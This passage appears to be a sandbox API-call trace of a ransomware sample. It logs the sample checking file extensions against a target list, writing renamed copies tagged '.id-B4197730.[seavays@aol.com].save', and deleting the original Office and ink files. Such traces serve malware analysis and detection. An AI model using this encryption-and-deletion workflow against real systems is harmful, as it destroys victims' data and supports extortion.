shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0207.346] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0207.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0207.346] lstrlenW (lpString=".doc") returned 4 [0207.346] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.346] lstrlenW (lpString=".docx") returned 5 [0207.346] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0207.346] lstrlenW (lpString=".pdf") returned 4 [0207.346] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.346] lstrlenW (lpString=".xls") returned 4 [0207.346] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.346] lstrlenW (lpString=".xlsx") returned 5 [0207.346] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0207.346] lstrlenW (lpString=".ppt") returned 4 [0207.346] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0207.346] lstrlenW (lpString=".zip") returned 4 [0207.346] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.346] lstrlenW (lpString=".rar") returned 4 [0207.346] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.346] lstrlenW (lpString=".bz2") returned 4 [0207.347] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.347] lstrlenW (lpString=".7z") returned 3 [0207.347] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0207.347] lstrlenW (lpString=".dbf") returned 4 [0207.347] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0207.347] lstrlenW (lpString=".1cd") returned 4 [0207.347] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0207.347] lstrlenW (lpString=".jpg") returned 4 [0207.347] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0207.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0207.347] lstrlenW (lpString=".doc") returned 4 [0207.347] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.347] lstrlenW (lpString=".docx") returned 5 [0207.347] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0207.347] lstrlenW (lpString=".pdf") returned 4 [0207.347] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.347] lstrlenW (lpString=".xls") returned 4 [0207.347] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.347] lstrlenW (lpString=".xlsx") returned 5 [0207.347] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0207.347] lstrlenW (lpString=".ppt") returned 4 [0207.348] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0207.348] lstrlenW (lpString=".zip") returned 4 [0207.348] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.348] lstrlenW (lpString=".rar") returned 4 [0207.348] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.348] lstrlenW (lpString=".bz2") returned 4 [0207.348] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.348] lstrlenW (lpString=".7z") returned 3 [0207.348] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0207.348] lstrlenW (lpString=".dbf") returned 4 [0207.348] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0207.348] lstrlenW (lpString=".1cd") returned 4 [0207.348] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0207.348] lstrlenW (lpString=".jpg") returned 4 [0207.348] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.348] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0207.348] lstrlenW (lpString="ja-jp.xml") returned 9 [0207.348] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0207.349] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=16616) returned 1 [0207.349] CloseHandle (hObject=0x360) returned 1 [0207.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0207.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0207.350] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0207.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0207.350] lstrlenW (lpString=".doc") returned 4 [0207.350] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.350] lstrlenW (lpString=".docx") returned 5 [0207.350] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0207.350] lstrlenW (lpString=".pdf") returned 4 [0207.350] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.350] lstrlenW (lpString=".xls") returned 4 [0207.350] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.350] lstrlenW (lpString=".xlsx") returned 5 [0207.350] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0207.350] lstrlenW (lpString=".ppt") returned 4 [0207.350] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0207.350] lstrlenW (lpString=".zip") returned 4 [0207.350] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.350] lstrlenW (lpString=".rar") returned 4 [0207.350] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.350] lstrlenW (lpString=".bz2") returned 4 [0207.350] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.350] lstrlenW (lpString=".7z") returned 3 [0207.351] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0207.351] lstrlenW (lpString=".dbf") returned 4 [0207.351] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0207.351] lstrlenW (lpString=".1cd") returned 4 [0207.351] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0207.351] lstrlenW (lpString=".jpg") returned 4 [0207.351] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0207.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0207.351] lstrlenW (lpString=".doc") returned 4 [0207.351] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.351] lstrlenW (lpString=".docx") returned 5 [0207.351] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0207.351] lstrlenW (lpString=".pdf") returned 4 [0207.351] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.351] lstrlenW (lpString=".xls") returned 4 [0207.351] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.351] lstrlenW (lpString=".xlsx") returned 5 [0207.351] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0207.351] lstrlenW (lpString=".ppt") returned 4 [0207.351] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0207.352] lstrlenW (lpString=".zip") returned 4 [0207.352] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.352] lstrlenW (lpString=".rar") returned 4 [0207.352] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.352] lstrlenW (lpString=".bz2") returned 4 [0207.352] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.352] lstrlenW (lpString=".7z") returned 3 [0207.352] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0207.352] lstrlenW (lpString=".dbf") returned 4 [0207.352] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0207.352] lstrlenW (lpString=".1cd") returned 4 [0207.352] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0207.352] lstrlenW (lpString=".jpg") returned 4 [0207.352] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.352] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0207.352] lstrlenW (lpString="ko-kr.xml") returned 9 [0207.352] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0207.353] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=15097) returned 1 [0207.353] CloseHandle (hObject=0x360) returned 1 [0207.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0207.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0207.354] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0207.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0207.354] lstrlenW (lpString=".doc") returned 4 [0207.354] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.354] lstrlenW (lpString=".docx") returned 5 [0207.354] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0207.354] lstrlenW (lpString=".pdf") returned 4 [0207.354] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.354] lstrlenW (lpString=".xls") returned 4 [0207.354] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.354] lstrlenW (lpString=".xlsx") returned 5 [0207.354] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0207.354] lstrlenW (lpString=".ppt") returned 4 [0207.354] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0207.354] lstrlenW (lpString=".zip") returned 4 [0207.354] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.354] lstrlenW (lpString=".rar") returned 4 [0207.354] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.354] lstrlenW (lpString=".bz2") returned 4 [0207.355] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.355] lstrlenW (lpString=".7z") returned 3 [0207.355] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0207.363] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[seavays@aol.com].save")) returned 0 [0207.364] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[seavays@aol.com].save")) returned 0 [0207.753] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.753] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0207.755] GetLastError () returned 0x0 [0207.755] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x23c2, lpOverlapped=0x0) returned 1 [0207.795] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0x23d0, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0x23d0, lpOverlapped=0x0) returned 1 [0207.797] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.797] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.797] SetEndOfFile (hFile=0x378) returned 1 [0207.797] CloseHandle (hObject=0x378) returned 1 [0207.797] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.798] SetEndOfFile (hFile=0x374) returned 1 [0207.799] CloseHandle (hObject=0x374) returned 1 [0207.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0207.799] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf")) returned 1 [0207.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0207.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0207.800] lstrlenW (lpString=".doc") returned 4 [0207.800] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.800] lstrlenW (lpString=".docx") returned 5 [0207.800] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0207.800] lstrlenW (lpString=".pdf") returned 4 [0207.800] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.801] lstrlenW (lpString=".xls") returned 4 [0207.801] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.801] lstrlenW (lpString=".xlsx") returned 5 [0207.801] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0207.801] lstrlenW (lpString=".ppt") returned 4 [0207.801] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0207.801] lstrlenW (lpString=".zip") returned 4 [0207.801] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.801] lstrlenW (lpString=".rar") returned 4 [0207.801] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.801] lstrlenW (lpString=".bz2") returned 4 [0207.801] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.801] lstrlenW (lpString=".7z") returned 3 [0207.801] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0207.801] lstrlenW (lpString=".dbf") returned 4 [0207.801] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0207.801] lstrlenW (lpString=".1cd") returned 4 [0207.801] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0207.801] lstrlenW (lpString=".jpg") returned 4 [0207.801] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0207.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0207.801] lstrlenW (lpString=".doc") returned 4 [0207.801] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.802] lstrlenW (lpString=".docx") returned 5 [0207.802] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0207.802] lstrlenW (lpString=".pdf") returned 4 [0207.802] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.802] lstrlenW (lpString=".xls") returned 4 [0207.802] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.802] lstrlenW (lpString=".xlsx") returned 5 [0207.802] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0207.802] lstrlenW (lpString=".ppt") returned 4 [0207.802] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0207.802] lstrlenW (lpString=".zip") returned 4 [0207.802] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.802] lstrlenW (lpString=".rar") returned 4 [0207.802] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.802] lstrlenW (lpString=".bz2") returned 4 [0207.802] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.802] lstrlenW (lpString=".7z") returned 3 [0207.802] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0207.802] lstrlenW (lpString=".dbf") returned 4 [0207.802] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0207.802] lstrlenW (lpString=".1cd") returned 4 [0207.802] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0207.802] lstrlenW (lpString=".jpg") returned 4 [0207.802] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.803] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0207.803] lstrlenW (lpString="J0099180.WMF") returned 12 [0207.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0207.803] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=3394) returned 1 [0207.803] CloseHandle (hObject=0x374) returned 1 [0207.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf")) returned 0x220 [0207.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0207.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0207.804] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.804] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0207.805] GetLastError () returned 0x0 [0207.805] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0xd42, lpOverlapped=0x0) returned 1 [0208.283] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0xd50, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0xd50, lpOverlapped=0x0) returned 1 [0208.284] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.285] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.285] SetEndOfFile (hFile=0x378) returned 1 [0208.285] CloseHandle (hObject=0x378) returned 1 [0208.285] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.285] SetEndOfFile (hFile=0x374) returned 1 [0208.286] CloseHandle (hObject=0x374) returned 1 [0208.286] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0208.286] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf")) returned 1 [0208.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0208.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0208.287] lstrlenW 